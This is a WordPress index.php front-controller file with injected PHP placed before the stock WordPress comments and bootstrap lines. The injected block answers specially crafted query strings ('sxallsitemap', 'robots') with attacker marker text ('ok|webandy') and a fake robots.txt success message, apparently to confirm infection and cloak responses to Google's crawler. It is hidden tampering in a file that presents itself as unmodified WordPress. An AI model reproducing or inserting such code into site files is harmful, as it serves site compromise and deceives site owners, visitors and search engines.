if (strpos($webandy_q = isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '', 'sxallsitemap') !== false) { if (stripos($_SERVER['HTTP_USER_AGENT'] ?? '', 'google') !== false) { header('Content-Type: text/plain; charset=utf-8'); header('Cache-Control: no-store'); echo 'ok|webandy'; exit; } } if (strpos($webandy_q, 'robots') !== false) { header('Content-Type: text/plain; charset=utf-8'); header('Cache-Control: no-store'); echo 'robots.txt file create success!'; exit; } /** * Front to the WordPress application. This file doesn't do anything, but loads * wp-blog-header.php which does and tells WordPress to load the theme. * * @package WordPress */ /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define( 'WP_USE_THEMES', true ); /** Loads the WordPress Environment and Template */ require __DIR__ . '/wp-blog-header.php';